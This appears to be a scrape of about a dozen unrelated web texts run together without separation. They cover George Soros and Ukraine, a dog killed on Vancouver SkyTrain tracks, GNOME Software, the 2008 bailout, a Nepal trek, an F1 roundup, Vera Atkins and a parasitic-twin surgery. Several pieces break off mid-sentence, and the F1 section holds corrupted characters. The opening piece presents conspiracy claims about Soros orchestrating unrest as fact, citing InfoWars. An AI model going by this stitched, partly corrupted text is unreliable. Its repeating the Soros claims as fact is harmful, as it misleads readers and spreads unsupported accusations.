Every time I see the old, good George Soros saying something about democracy and European values, I know that something is going to happen. This way the case of Ukraine, when George argued that democracy is the most important and when he says that European values are most important and that is why we must accept million refugees every year. How will it end? Probably as usual: fires, riots, overthrowing governments and total destabilization in Europe, more or less as it ended up recently in Ukraine.
Those are clear words. Soros was also active in Poland and established the „Stephan-Báthory-Foundation” in 1988 as a starting point for his global network, spanning around the globe and bringing not always positive changes and developments to the various nations affected. During an interview with CNN-reporter Fareed Zakaria, Soros made no secret of his plans. As reported by Info-Wars author Kurt Nimmo,
George Soros told CNN’s Fareed Zakaria over the weekend he is responsible for establishing a foundation in Ukraine that ultimately contributed to the overthrow of the country’s elected leader and the installation of a junta handpicked by the State Department.
Many participants in the demonstrations against the elected president had been mobilized and were members of Soros NGO-network. These guys had been trained and instructed carefully by Soros’ organizations like the “International Renaissance Foundation” (IRF) and the “Open Society Foundation”.
It’s not a big surprise that Russia doesn’t want this scenario to be repeated inside its own borders.A well-known Vancouver couple are disappointed with two statements that found no malice and no fault in the October 2016 death of their beloved pooch Maggie.
Maggie — a black lab-chow rescue dog — was in an off-leash section of Trout Lake with owners Ali and Adrian Fluevog, of Fluevog Shoes, when it became spooked and ran off. Fireworks in Vancouver require a permit and are only allowed on Halloween.
The 10-year-old canine became disoriented and ended up on SkyTrain tracks where it was struck and killed by a train near the 29th Street station. It was later discovered that a control operator had ordered a train to continue, despite the efforts of another employee who had asked to delay the train and was attempting to coax the dog back to the platform.
“The BCRTC (TransLink) claims no malice and the BCSPCA concluded no fault in the events leading to Maggie’s death. We are disappointed with the findings,” said a statement shared with Postmedia News by the Fluevog family. Maggie was known to many due to its frequent presence at the family’s Gastown store.
According to SkyTrain president Vivienne King — who met with the Fluevog family this week to share the outcome of the B.C. Rapid Transit Company’s investigation — there had been only one other incident involving an animal on a SkyTrain guideway in the system’s 30-year history.
“So up until Maggie being on the guideway there was no record of having to deal with this — a live animal on the system and trying to manage that,” said King, explaining why there wasn’t already a policy on handling animals. She noted TransLink’s existing policies dealt with humans who, for the most part, can be communicated with more easily.
“Maggie’s incident did actually teach us a great deal about how to work through that with our staff and we’ve applied that learning to the procedure.”
King said many of the recommendations from the in-house report have already been implemented, including a modified operating procedure dealing with animal guideway intrusions that was put into effect just days after the Oct. 29 incident.
According to the TransLink report, Maggie entered Nanaimo Station that evening and went onto the tracks, tripping the intrusion alarm at 5:38 p.m. A request for a five-minute delay was recorded at 5:52 p.m. The dog was hit at 5:54 p.m.
Several attempts by employees had been made to approach the dog but were unsuccessful, as the dog kept running away. TransLink employees who later reached out to the Fluevogs to offer their condolences learned the dog was afraid of men; all attendants trying to get Maggie off the track that evening were men.
TransLink also cited a B.C. SPCA’s report, which noted there was “no fault with the B.C. Rapid Transit Company” but recommended a new operating procedure be developed on how to handle animals on the tracks.
SPCA spokeswoman Marcie Moriarty explained that investigators did not find sufficient evidence that could support a charge recommendation and was satisfied with the steps TransLink had taken to prevent such an incident from happening again.
“It was unfortunate that TransLink didn’t have such operating procedures well known and specifically written down in place but we didn’t feel that, after our investigation, the evidence supported recommending charges,” said Moriarty. “In all likelihood, Crown would not accept charges in this case where really there was no indication of bad faith.”
The new operating procedure now requires all trains be stopped when an animal intrusion is reported, and brought back to the platforms to prevent passengers breaking out.
Transit Police or transit attendants with fall restraint equipment will also be dispatched to try to corral the animal. If the animal is a dog, Transit Police will be contacted to see if a dog handler is available to help, or to be notified if the animal is deemed vicious.
Service will be delayed at least 30 minutes to allow for attempts to get the animal back to a platform before a decision is made on whether or not to resume service. If resumed, trains will operate at reduced speeds with an attendant on board each train to apply emergency brakes if needed.
In addition to the development of a new domestic animal policy, five other recommendations were given in the TransLink report:
• Improve and regularly audit radio and phone communications between operational departments.
• Establish a formal post-incident process of inspecting and cleaning assets.
• Establish a formal post-incident process to review incidents.
• Investigate the use of cellphones to document relevant details in incidents.
• Review safety concerns raised in Oct. 29, 2016 incident through BCRTC internal channels.
“We appreciate that TransLink has since developed a policy in place to deal with domestic animals on the tracks and we understand that this policy has worked recently in saving the life of another dog on the Skytrain tracks,” said the Fluevogs. “For that we are thankful.”
The B.C. SPCA does not plan to release their report publicly.
sip@postmedia.com
twitter.com/stephanie_ipGNOME Software is finally accepting reviews and votes for applications, and the work has been done with the help of an Ubuntu developer, Robert Ancell.
GNOME Software is finally getting this feature, which has been requested over and over by the community. The software center for the GNOME stack has been around for some time, but it lacked in certain areas. The introduction of comments and votes is a really big step forward.
You might want to know why an Ubuntu developer is mixed up with this particular feature, and the answer is quite simple. Canonical announced that it intends to replace Ubuntu Software Center with GNOME Software, but it can't do that unless it can provide the same type of features, including votes and comments.
In fact, the Ubuntu developers promised that the current comments and ratings from Ubuntu Software Center will be moved to the new application, but that will take some doing.
No login necessary for now
The developers haven't implemented any kind of restrictions, and the comments and ratings will be anonymous, but that might change if people abuse the feature.
"With a huge amount of help from Robert Ancell for a lot of the foundations for the new code, I’ve pushed a plugin today to allow anonymous rating of applications. If people abuse or spam this I’ll take the feature away until we can have OpenID logins in GNOME Online Accounts, but I’m kind of hoping people won’t be evil," GNOME developer Richard Hughes explained.
The Ubuntu team is probably involved to smoothen up the transition to the new software center, and they are likely going to push a lot more changes upstream once they adopt the new application.
Ubuntu 16.04 (Xenia Xerus) is supposed to feature GNOME Software, but it's not clear if they are going to be ready in time for the April launch.U.S. proposes sweeping bailout
The government would buy up firms' bad assets to boost lending
In a meeting between lawmakers and Treasury Secretary Henry M. Paulson Jr. and Federal Reserve Chairman Ben S. Bernanke, the top officials suggested that once the financial system was rebooted in this fashion, the government would be able to sell off the assets to recover taxpayers' money and perhaps even turn a profit, according to the people privy to the plan, who spoke on condition of anonymity because they were not authorized to speak publicly.
Under the proposal, details of which were not announced, Washington would buy the distressed assets, allowing banks to resume their usual borrowing and lending, according to people familiar with the plan. The approach could be similar to the formation of the Resolution Trust Corp. during the 1980s to resolve the savings and loan crisis.
The plan would relieve financial institutions of the mortgage-backed securities and other bad assets that are threatening the nation's economic health.
WASHINGTON — In what could be the biggest bailout since the Great Depression, top government officials and congressional leaders agreed late Thursday to quickly develop a comprehensive plan aimed at defusing the nation's roiling financial crisis.
The plan could be unveiled as early as today and voted on by Congress by next week.
News of the rescue plan sent Asian markets soaring this morning.
Lawmakers emerging from a 90-minute session in the offices of House Speaker Nancy Pelosi (D-San Francisco) said they expected a detailed proposal from Bernanke and Paulson overnight and to work through the weekend in an effort to pass it quickly into law.
The tone at the meeting was deadly serious, as Paulson and Bernanke stressed to lawmakers that the crisis could get far worse.
"I think we had some sobering news tonight," Sen. Richard Shelby (R-Ala.), top Republican on the Senate Banking committee, said as he left the meeting.
Members of both parties pledged in a brief news conference to work cooperatively.
"It's clear that even though we're just six weeks away from an election, our job is to put our partisan differences aside and to work to help solve this crisis," said House Minority Leader John A. Boehner (R-Ohio).
The meeting capped a day of high drama as government officials, lawmakers and traders sought to keep the financial contagion that staggered markets on Wednesday from resuming its destructive course. To ease the credit crisis, the Fed announced early Thursday that it would boost to nearly $250 billion the funds available for major foreign central banks. Meanwhile, the Securities and Exchange Commission signaled its intention to follow its British counterpart in issuing a temporary ban on short selling.
Short selling is a means of betting that a stock's price will fall by selling borrowed shares in hopes they can be repurchased at a lower price. The practice has been increasingly blamed for causing sudden drops in companies' stock values, frightening away lenders and leaving the firms financially beached.
SEC Chairman Christopher Cox was meeting with commissioners late Thursday. "We are likely to take additional steps in the days ahead that are more particularly addressed to this urgent situation," Cox said.
Early reports that a comprehensive rescue was in the works caused U.S. stock prices to reverse course from Wednesday.
Traders on the New York Stock Exchange broke into cheers Thursday as the bellwether Dow Jones industrial average switched from a 200-point loss to a rise of 410.03 points, or 3.9%, at 11,019.69. The Nasdaq composite index gained 100.25 points, or 4.8%, ending at 2,199.10, and the Standard & Poor's 500 Index climbed 50.12 points, or 4.3%, to close at 1,206.33, its largest one-day percentage gain in nearly six years.
Paulson and Bernanke acted on their new plan after two tumultuous weeks in which policymakers took ad hoc steps that failed to reassure panicky investors. They seized mortgage giants Fannie Mae and Freddie Mac as well as insurance behemoth American International Group Inc., and effectively pulled the plug on investment banks Lehman Bros. Holdings Co. and Merrill Lynch & Co. They also coaxed a group of 10 big financial institutions to kick into a $70-billion self-insurance pool and pumped out billions of dollars more to try to reverse a new and dangerous credit market freeze-up.Upper Mustang, The Last Forbidden Kingdom of Lo Manthang and Consequences of Earthquake for Trekking.
I came to knew that the area had faced minimal damages after the earthquake, few unmaintained old monuments collapsed, some developed minor cracks including the wall of the king’s palace in Lo. During the mid monsoon my friend and I, we went there. We started our trip on 25th of July 2015. Instead of regular trekking, it was a road trip on a motorbike. Also was a very short trip, we finished entire trip, i.e. Kathmandu – Lo Manthang – Kathmandu in a single week. I was surprised to saw despite of the devastating earthquake, Upper Mustang had remained totally intact. Yes, it was really fine for the trek. In reality the flow of trekkers was high, we encountered with few big size groups on their way up. Initially we had a plan to trek Damodar Kunda as well, as a part of this hike tent and mattress were included in our backpack. However plan was changed and we decided not to hike Damodar Kunda. We leave our tent and mattress in the village of Jomsom. Jomsom, a district headquarter of Mustang.
From Kathmandu to Pokhara, everything was perfect so far. The plan was to reach Beni same day starting from Kathmandu. As monsoon was doing its work, suddenly black clouds dominates the northern sky of Pokhara and we decide not to drive to Beni. The very first day of the road trip we stayed in Pokhara. Next morning we started pretty early, and we continued our journey to Kagbeni. There were few landslides and peoples were busy renovating the road. It was slightly diverted in a few places, next to the bank of Kali Gandaki River. Personally, I don’t recommend going through road to Jomsom, it could be far better with the flight. We stopped in the Ghasa for lunch. Rupche Waterfall, a big obstacle for the bike and jeeps. It was so big that it was impossible to drive through the waterfall. We paid USD 8 for the five locals to carry bike to the next side and that works. Because of this delay, we couldn’t reach Jomsom in time. And we again changed the plan, overnight stay in Jomsom instead of Kagbeni. We crossed the bridge and stayed in Old Jomsom Town. Road beyond Ghasa was perfect for the ride. Good enough for two wheelers!
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I forget exactly how long it took for us to reach the village of Samar from Jomsom. We were there for the lunch. The first hotel in Samar, we had really good |
er at EDGE Brewing Company.
Kerry was severely injured in a boil over accident at the brewery last Friday and has since been recovering at a burn unit in Salt Lake City. The accident burned 30% of her body. She's scheduled to have skin graft surgery there on Monday, spend two weeks in recovery and then return to Boise for physical therapy and more healing. Kerry's a fighter and is expected to make a full recovery, but her treatment is going to be a financial hardship on the Thomas family.
That's where you come in! Can you help our friends? The local brewing community is coming together on Saturday for a Kegs for Kerry benefit at PreFunk in Nampa and Boise. The Nampa location will be donating 100% of the money from their EDGE sales to the Thomas family. The Boise location will do the same starting at 3 PM and will also raffle prizes generously donated by local businesses with the raffle proceeds going to the Thomas family. So stop by and have a pint or two for Kerry! And by all means, please share this event with your friends!
If you can't make it and still want to support Kerry's treatment, Cory has set up a GoFundMe page for donations.Upon perusing Sapiens: A Brief History of Humankind recently, a Gabbler member came across the idea that the admission of ignorance (the very foundation of the scientific method!) and the subsequent search for answers is what led to modern day science, exploration, technology, and just pretty much all the great things about human intelligence that we take for granted. This idea struck The Gabbler as strange, since the absolute last thing anyone wants to do in 2015, especially on the internet or in politics, is admit that they don’t know everything about anything ever. So to get to the bottom of this difference, we’ve asked a modern-day political candidate, Donald Trump, and renowned explorer Vasco da Gama (who was absolutely unashamed to admit that he had no idea how to get to India via a sea route) to sit down with us.
The Gabbler: First of all, thank you so, so much for being here today! It’s really such an honor to meet someone so important to the history of mankind. I’m just kind of floored to be in the same room with you, to be honest.
Donald Trump: I tend to have that effect on people.
TG: …I was talking to Vasco da Gama, actually. Not that your work on The Apprentice wasn’t illuminating Mr. Trump. I mean, it was no sea route to India, opening Portugal up to trade with India without going through the Mediterranean or the Arabian Peninsula, but Bethenny Frankel sure is making her mark on the Bravo network. All thanks to the start you gave her!
DT: Actually Bethenny was on the Martha Stewart season.
TG: Right. But please, Donald, can I call you Donald? Why don’t you let Vasco speak for a second? Or at least move so I can stare deep into those beautiful brown eyes. Oh what they must have seen!
Vasco da Gama: Why thank you, Senhorita. Your eyes, too, are endless pools of understanding and curiosity.
DT: What does that even mean?! Listen, with all due respect lady, your eyes are putrid pools of liberal brainwashing. Let’s get to the real important topic: making America great again.
TG: Well, actually we’re here to talk about something else: ignorance. Vasco, how do you feel ignorance has helped you in your life?
VdG: Ignorance was the beginning of everything Senhorita. I did not know that there was a traversable sea route to India, so I left my home and travelled far, through treacherous waters, around the Cape of Good Hope, risking my life and the lives of my men to find the answer, to find the one route that would not result in total wreckage. And before now I was ignorant to what true beauty was. But I discovered it as soon as I saw your face.
TG: Oh, Vasco, please! I’m blushing!
DT: So you’re telling me that all this schmuck did was find the way to get to India? I can do that. Step one: get on my private jet. Step two: Tell them to take me to India. Done.
TG: Well, yeah, but he was the FIRST to do it. Because he admitted that he didn’t know the answer so he went out and sought it. What was the last time you had to go out in search of answer?
DT: Never. You wanna know why? I was born with the answers. They’re all up here, beneath my full head of hair. Trump see all, hears all, knows all.
TG: But isn’t that kind of the point? If all of human knowledge fits inside of Donald Trump’s brain, aren’t we done moving forward?
DT: Well we better start moving forward, toward the Reagan era, now that Obama’s been moving us backwards toward socialism. Time to make America great again!
VdG: If I may, Senhorita, isn’t the first step to knowing admitting that you do not know? Is life not an endless exploration, a search for the answers to our most profound, and most even most petty, questions? Without questions, what are we, but apes trumpeting our own greatness to the troop?
DT: Did you just call me an ape? With a mug like that, you should look in the mirror before you start throwing stones. Glass houses and all.
TG: And I don’t think someone with hair as disastrous as yours should criticize a man with such a gorgeous, flowing beard, Donald. Anyway, let’s get on to something more important. What’s it like to really, truly alter the course of human history?
DT: It’s truly humbling. But the economic enterprises I’ve built are nothing compared to what I’ll do as president!
TG: Yeah, I was talking to Vasco again.
VdG: Oh, I would not say that I’ve changed the course of anything, Senhorita. I am but one man on the endless search for knowledge.
DT: Well I don’t need to search for what I already have.
TG: Really? And since you know so much, how DO you get to India from Portugal by sea?
DT: I told you: you jump on Trump Air and cruise in style. But I guess if you’re going to be real insistent about this whole “sea route” thing, then we can hop on my yacht. Captain Pete will get us there.
VdG: You must stick close to the coast of Africa the whole way, of course.
DT: AFRICA?! I’m not a big fan of that country-bunch of whiny freeloaders if you ask me.
TG: Well that was wrong and offensive on a few levels. Perhaps it’s time that we end the interview, so Vasco and I can go check out that new wine bar they just opened up down the street from my completely-empty-because-my-roommate’s-gone-for-the-weekend apartment.
VdG: I would love to, bela.
DT: God, I should have known a lib like you would be kind of slutty. How about I come along and show YOU how to be great again, huh?
TG: Well on that note, I’ll leave it to readers who they’d rather be: the proudly ignorant and insatiably curious and incurably handsome Vasco da Gama, or the “knowledgeable” Donald Trump. Come on Vasco, let’s blow this popsicle stand.
DT: Whatever. You’re ugly, anyway.In the round-up: Bahrain’s Grand Prix organisers criticises F1 teams over the race cancellation.
Links
Top F1 links from the past 24 hours:
Our Grand Prix is far bigger than all Britain has to offer, says Bahrain chief (London Evening Standard)
Bahrain Grand Prix chairman Zayed Alzayan: “[The F1 teams] have been very temperamental. I feel disappointed because it cannot go within three months from one end of the spectrum, ‘Oh, you are my favourite destination. We love it here. We feel like we are at home in Bahrain.’ To the other, ‘We don’t want to go to Bahrain.’ Yes, events have happened in between but you can’t be so temperamental.”
Is Formula One for Sale? No, but Maybe (New York Times)
Bernie Ecclestone on where he’d buy back Formula 1 from CVC: “Yes, absolutely. I wouldn?������t buy at the price that I think CVC would sell it. But I would certainly buy at the price that they [News Corp. and Exor] want to pay. And the Ferrari people, the multiples that they thought they would like to pay for the company?������ I told them that I would buy Ferrari at those multiples.”
Ferrari and Fernando Alonso set to keep new-found pace (BBC)
“The exhaust has been re-positioned, the upper bodywork at the rear extensively re-profiled, there is a new rear wing and floor. In effect, it is a B-spec evolution of the original car. At Silverstone, suddenly the Ferrari could get the hard Pirelli working for the first time and it no longer struggled to get the intermediate tyres quickly up to temperature.”
Trulli pins hopes on steering update (Autosport)
“I said straight away that I cannot really set up the car or judge the car. So if someone asked me what’s going on in the car I always say I don’t know – I’m just trying to drive what I have but I cannot give any feedback to the team. It’s a bit frustrating but that’s the way it is at the moment.”
Webber Awarded Hawthorn Trophy For 2010 Success (Red Bull)
“The honour is presented to the most successful British or Commonwealth F1 driver, and Mark received it in recognition of his stunning performance in the 2010 season.”
Red Bull right to impose team orders on Webber
David Coulthard: “The other issue here is Mark [Webber’s] reaction. He said he ignored the orders and raced to the end but I think he backed off.”
Montezemolo: “Well done, but we keep our feet on the ground” (Ferrari)
“Winning in England, at the home race for the great majority of our opponents is something special, all the more so as it happened on the day of such a significant anniversary. I think that even Pat Fry, for for whom this is the first win since he took on the role of chassis director, managed to feel the difference there is between winning with another team and doing it with Ferrari.”
Follow F1 news as it breaks using the F1 Fanatic live Twitter app.
Comment of the day
Process of elimination leads Hallard to a Driver of the Weekend choice:
I want to say Webber, for out-qualifying Vettel; and for ignoring Red Bull’s unnecessary team orders and having a go at his team mate towards the end. But he fumbled the start and made it easy for Vettel to start disappearing into the horizon, and Vettel ultimately did get the best of him. I want to say Vettel, for driving an impressive race that he surely would have won if it had not been for the slow pit stop. But he did very little to prove his wheel-to-wheel skills in failing to pass the much slower Hamilton on-track. Also, having confirmation that he gets preferential treatment from the team takes some of the shine away from his performance. I want to say Hamilton, for really out-driving his car in the race, making some great overtakes, defending firmly but fairly from Massa (even Massa agreed), and bringing a decent haul of points in spite of a poor showing from the McLaren team (Really? You thought Hamilton would get stuck in traffic in mixed conditions, so you short-fuelled him? Really?). But he really shouldn?������t have qualified tenth to begin with, even if it was more of a team error than driver error; and he had too many off-track excursions this time out. I guess that leaves me with Alonso. Yes, Red Bull gave him this win on a platter with their pit stop error. And yes, Hamilton really did him a big favour by neutralising the threat from Vettel (although I?������m not convinced Vettel could have been a threat at that point even if he had caught Alonso). But Alonso really did the maximum this weekend, both in qualiying and the race, to put himself in a position to benefit from Red Vull?������s error, and he didn?������t really make any mistakes. Credit where credit?������s due.
Hallard
From the forum
Tell me what you want to know about Codemasters’ F1 2011 in time for the build-up to the game’s release.
Happy birthday!
Happy birthday to Pawelf1, Robert, Voaridase and HoolyF1!
On this day in F1
Nigel Mansell won the British Grand Prix at Brands Hatch – but only after a considerable slice of fortune at the expense of another driver.
Mansell’s race looked to be ruined as his driveshaft failed when he pulled away at the start. But behind him a huge crash triggered a red flag and gave him an opportunity to start again in team mate Nelson Piquet’s spare car.
Jacques Laffite was injured in the crash, breaking both his legs. Sadly, he never raced again in Formula 1.
Mansell went on to win the restarted race, passing Piquet on the way. It was the last F1 race at Brands Hatch before the race moved permanently to Silverstone.
Here’s a video of the start of the race:
Image?�?� Tilke GmbhVera Atkins, Spymistress
Alexis Coe’s essays on history appear once a month. Past installments can be found here.
Vera Atkins called the 39 female British spies she recruited, trained, and placed in the field her “girls,” but to the rest of the world, they didn’t exist.
During World War II, the French Section of Special Operations Executive (SOE) depended on this secrecy. Considered the amateurs of the British Intelligence community, it was created when other agencies, including the famed MI-6, had failed to establish a single agent nine months into occupied France.
Atkins, born to a German Jewish father and a British Jewish mother in Romania, proved far more successful. She placed 400 agents, spending months teaching them about the curfews, rationing, transport, and regulations. She saw to every detail of their new identity, purchasing mementos and even, in one case, insisting that an agent have all of his teeth refilled in the French manner.
But after the war ended in 1945, more than 100 F Section SOE agents vanished – including female couriers and wireless operators.
Finding them was not a national priority. While the Americans interned hundreds of thousands of German males in de-Nazification efforts, the British focused on sustaining the population and reviving the Ruhr coal production. Major Anghais Fyffe was tasked with locating the missing agents, but he wasn’t even F Section. Only Atkins knew what the agents looked like, the personal details they may have purposefully divulged to witnesses and subtle tracks and flotsam they left behind.
“I wanted to find them as a private enterprise,” Atkins told Sarah Helm, author of the excellent A life in Secrets: Vera Atkins and The Missing Agents of WWII, shortly before her ninetieth birthday in 1998. “I always thought ‘missing presumed dead’ to be such a terrible verdict.”
Self-imposed mission aside, Atkins still needed a permit to travel into post-War Germany, and her myriad entreaties were met with great resistance in London. Maurice Buckmaster, her own section head, believed they would eventually make contact on their own, even as the steady stream of death certificates for SOE agents at Dachau, Flossenbürg, and Mauthausen arrived. As Atkins would later discover, higher-ups knew a French pilot had betrayed the SOE, often delivering agents to the Nazis. Even Adolf Hitler became annoyed with their seeming compliance, and ordered a scornful thank you note for the steady stream of agents, arms and money.
She tried arguing that relations with Russia were worsening by the hour, and indeed the Cold War would officially begin just two years later. Any agents left would likely be killed by their hand, she pleaded to no avail.
In the end, it was the public’s ignorance of women deployed behind enemy lines that proved to be her winning argument. As instructed, the missing agent’s families remained quiet and hopeful, with the exception of Violette Szabo’s father. He quickly grew frustrated with the silence, and began lobbying local politicians in South London. If her case reached the House of Commons – Szabo was mother to a young child – the issue of female spies would garner media attention, and would no doubt launch a moral debate.
The government wanted the country to focus on war crimes, not the plight of young, missing British women. After a map at Nuremberg showed more than 300 camps and sub camps across Europe, the public’s appetite for justice became insatiable. Trying major leaders was not enough; all involved were expected to be held accountable.
Atkins promised to help interview camp commandments of Sachsenhausen, which primarily interned political prisoners, and Ravensbrück, a notorious women’s concentration camp, in exchange for a permit. The government acquiesced, offering her a handful of days, but no per diem.
She wasted no time, only alerting Major Fyffe of her presence when he stumbled in from a dance hall all nighter to find her waiting. She was eager to begin interrogating Franz Berg, who had been a crematorium stoker at Natzweiler, where she suspected several of her agents had been.
“They were her ‘bairns,’ if you like,” said Fyffe, who initially told Atkins there was no room in his operation for a woman. “And after all, she knew she had sent them to their deaths.”
Atkins no doubt felt culpable, but her emotions were rarely on display. Any guilt was manifested in a monomaniacal mission to uncover and document her agent’s deaths. She extended her stay by officially joining the British War Crimes Commission, for whom she relentlessly interrogated the most infamous Nazi officers. In one report, she noted Rudolf Höss, the commandment of Auschwitz, admitted to overseeing over two million deaths before they broke for lunch.
Ostensibly, she collected evidence to present at trials, but every camp commandment, doctor, nurse, guard and prisoner was also a potential witness to her agent’s deaths. As they talked, she drew sketches of camps, noting the length of the paths and measurements of cells, in the same manner she committed grotesque details to the page. She heard from man whose job it was to murder young children, coolly explaining to her, “Like pictures I hung them along the wall,” and the sadists, who flogged emaciated, over-worked bodies at their own discretion. Peter Straub, the executioner at Natzweiler, knew the stools he kicked out from under hanged prisoners was too short to ensure a quick death, and referred to the victims he killed not as people, but as “pieces.” Atkins did not object when Gerald Draper, by then a seasoned war crimes solicitor, concluded the deposition by ordering Straub to “leave this room on your hands and knees like an animal.”
But Atkins remained in control, traversing Germany and France to witness and conduct interrogations, visit jails and concentration camps and residences. The trails she followed were circuitous, and stories rarely aligned. Low level workers feared implication, while many prisoners suffered major psychological damage from the trauma, often compacted with incorrect repatriation.
No clue was too small, no lead too vague. Portraits painted in blood and names carved into the walls of jail cells were documented. When Atkins learned that Brian Stonehouse, a former sketcher for Vogue, had survived four concentrations camps, including Natzweiler, she sent him photos of the women. He sent sketches matching several women in return. An intercepted letter led her to Hedwig Muller, a nurse arrested by the Gestapo in 1944 for slandering the Führer. Muller sent a letter to SOE agent Madeline Damerment’s mother, using her alias to describe a woman whose hands and feet were chained, noting that several women in the Akademiestrasse prison communicated to each other in code. Through Muller, Atkins learned that Theresia Becker, chief wardress, had lied to her in an earlier interview, and was then able to records supposedly missing records stashed her home.
But just as one series of events seemed to come together, another clue would suggest it was incorrect. Atkins had already settled the case of Noor Inayat Khan, the first female radio operator to be sent occupied France when a letter arrived from Yolande Lagrave. She claimed to have met Khan at Pforzheim prison in September 1944:
She was very unhappy. Her hands and feet were chained and she was never allowed out. I heard the blows which she received from prison guards….Before she left she had been able to send to me—not her named because it was too dangerous—but her alias and she also wrote down her address for me. It was: Nora Baker, Radio Centre Officers Service RAF, 4 Taviston [sic] Street, London. I kept the address on a paper strewn into my hem.
Other witnesses had testified that the 30-year-old Khan had been killed three months earlier. Her family launched their own investigation, and her brother shared his findings with Atkins, writing “the jail keeper who is said to have beaten up my sister has been maintained in his post as jail keeper to this day.” He had learned she had tried to escape twice, and while many women at the prison were raped, shot, and thrown into a mass grave, he had it on good authority that his sister had been sent to anther camp.
Atkins insisted on reopening the case. Her “movement orders” were revoked shortly thereafter, but she struck another deal, agreeing to assist the prosecution team in the Ravensbrück trial. She watched the defendants plead guilty, the same men she knew had taken part in forced sterilization, abortions and gynological experiments. Atkins worked steadfastly to implicate the men had run a camp where 92,000 of the 120,000 female prisoners had died, but at every opportunity, she’d slip away to investigate missing agents.
She successfully traced Khan’s death at the Dachau concentration camp, along with Yolande Beekman (left), Elaine Plewman (below right), and Madeleine Damerment, three other female SOE agents. The remaining death certificates were filed and letters to next of kin written, but she wasn’t ready to return to London just yet.
Atkins became obsessed with physically retracing her agent’s final steps. She entered the camps as they had, through the 20 foot tall gates covered in barbed wire. She stood outside the room in which 24-year-old Andrée Borrel was given a lethal injection of phenol, and walked along the hallway where her body was dragged to the oven. That was where Borrel briefly regained consciousness and clawed at the executioner’s face; he burned her alive.
When she finally returned to Britain, Atkins disappeared to a remote cottage in Wales for several weeks. By all accounts, she saw no one but the farmer who carried her bags upon arrival.
“But I think when she discovered all that awful horror, it was like a series of body blows,” her niece, Zenna Atkins, told Helm. “Then she spent the rest of her life recovering from those blows.”
Back in London, Atkins was hired by the Central Bureau for Educational Visits and Exchanges. The F section of the SOE had been shut down, but Atkins and Buckmaster engaged in a nearly fulltime publicity campaign. Sensational articles chronicling the adventures of SOE agents were published in the Sunday Express and the Daily Herald, and soon after, screenplay writers and television producers came calling.
One of Atkins’ surviving “girls,” Odette Sansom, captured the public’s interest many times over. She had been captured with her supervisor, Peter Churchill, and tortured at Sicherheitsdienst. In hopes of preferential treatment, she told two lies, one of which would become true: Peter was her husband, and that he was Prime Minister Winston Churchill’s nephew. She was nonetheless condemned to Ravensbrück, but somehow managed to escape and, in 1947, marry Churchill.
Books and films followed, including one penned by Buckmaster, but never Atkins. While she encouraged coverage and accepted the Légion d’Honneur, she remained a mysterious figure in the background. In her silence, conspiracy theories abounded. Some believed her to be a double agent, perhaps for the Germans or Soviets, but those rumors were unsubstantiated. She did, however, have a secret that was unearthed after her death. In 1940, it seems likely that Atkins covertly travelled to Antwerp to see a Nazi intelligence agent. She paid him $150,000 to secure a passport for her cousin, Fritz Rosenberg. On their way to safety in Palestine, he and his wife Karen were harassed by Germans in Budapest and Istanbul; still fearing for their lives, the Rosenbergs supplied intelligence to the Nazis.
History would have viewed an attempt to save a Jewish relative from a concentration camp as brave, but the intelligence community would not. Atkins was guarded for a reason greater than professional, and no doubt feared her secret, or more likely, secrets, would someday come to light.
And so she spent the rest of her life devoted to publicizing and honoring her lost agents. Before she died in 2000, Atkins raised substantial funds for memorials, composed the inscriptions, and corresponded on even the most minute details. Some women had received posthumous honors, including the Croix de Guerre, but Atkins argued in numerous letters that it should be left off shared marble memorials, as all the women deserved recognition. She suggested the space instead be used for a line from Walt Whitman’s poem, “After the Dazzle of Day,” which could have easily applied to her own life.
“Only the dark dark night shows to my eyes the stars.”
Works Consulted:
Buckmaster, Maurice J. They Fought Alone: The Story of British Agents in France. (Goodreads | Amazon)
Carve Her Name with Pride. Dir. Lewis Gilbert. Perf. Virginia McKenna, Paul Scofield.
Fuller, Jean Overton. Madeleine. (Amazon)
Helm, Sarah. A Life in Secrets: Vera Atkins and The Missing Agents of WWII. (Indiebound | Amazon)
Stevenson, William. Spymistress: The Life of Vera Atkins, the Greatest Female Secret Agent of World War II. (Indiebound | Amazon)Apple has for a long time hired engineers around the globe to contribute to making its Maps experience better. While positions for its team outside Cupertino usually consist of Maps Quality Analysts and Ground Truth managers that submit region specific corrections for Maps, a new job listing on Apple’s website hints at a “data-collection project” planned for New York.
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The location of the position is listed as a Austin, Texas, but Apple says the job requires 75% travel and is a full-time role based in New York.
We don’t learn much else about the project from the job listing, but it’s the first to hit Apple’s site mentioning the data-collection project and specifically hiring for a Maps team based in New York. The position is for an Assistant Project Lead on the Maps team that will “lead a team of contractors in a data-collection project.” Apple’s people in New York and job listings for the location mostly consist of HR, marketing, and sales roles, and up until today nothing specifically for the Maps team.
What data exactly is Apple collecting through its new data-collection project is anyone’s guess, but it does have a handful of new mapping features headed for upcoming iOS releases that come to mind. Perhaps mostly notable is the transit directions that were planned for iOS 8 but not ready to show on stage at WWDC.
Apple has other new features coming to Maps in iOS 8 as well, including indoor mapping features, Flyover city tours, and Vector maps and Navigation for China. Apple also of course currently gets a lot of its Maps data from other sources like TomTom and relies on third-parties for points of interest like business listings. We’ll have to investigate more to find out what Apple is up to, but iconic New York City would certainly be a good place to start if Apple has plans to step up its own data collection for Maps.The girl was born with a parasitic twin that fed off her blood supply (Picture: SWNS)
Doctors in India have saved newborn girl’s life after removing the head of her parasitic twin that was feeding off on her blood supply.
The bay girl, yet to be named, was born via caeserean section and weighed only 5lbs, at a private hospital in Bhilwada in Rajasthan in northern India on April 26th to a farmer couple.
But the doctors were shocked to see the baby with an extra head complete with eyes, ears, nose and lips and a malformed left hand hanging down her chest.
They referred the child for a surgery at JK Lone Hospital in Jaipur, 336 miles away, where a team of doctors detached the head from the infant in a four-hour-long surgery.
‘This is one of the rarest cases of parasitic twin.
‘The baby was brought to our hospital on the night of April 26th. After immediate consultation with a team of radiologist and support from assistant professors, we successfully removed the head from the viable child.
An operation has taken place to have the head removed (Picture: SWNS)
‘It was a complicated case as the twins shared blood vessels. They were joint from the thorax and shared common vessels for blood supply from heart and liver,’ said Dr Pravin Mathur, Professor and Unit Head, Paediatric Surgery.
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Surprisingly, the parents had an ultrasound and knew they were carrying twins but didn’t know the mother was carrying parasitic twins.
The young couple, who didn’t want to be identified, was devastated with the birth of their first child and had lost all hopes of her survival.
Dr Mathur said: ‘The parents told us the mother had undergone sonography and other tests but were not told about carrying an underdeveloped twin.
They were shattered when they saw the baby. We had to convince them to give us a nod for the surgery to save their daughter’s life.
Doctors said the procedure to remove the head was complicated (Picture: Caters)
